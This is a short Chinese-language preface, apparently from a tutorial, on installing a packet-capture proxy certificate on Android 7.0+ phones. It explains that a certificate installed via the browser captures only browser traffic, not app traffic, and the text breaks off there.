前言: 首先理解一下,这个不只是证书到浏览器,而是抓包证书到安卓7.0+手机上的文章; 还有一点区分,在浏览器上装的证书,只是让抓包工具可以抓取手机浏览器的包,而不是抓取手机app上的包; 如果你的证书只是简单的在浏览器下进行安装,那么你的手机app是走不了代理网络的…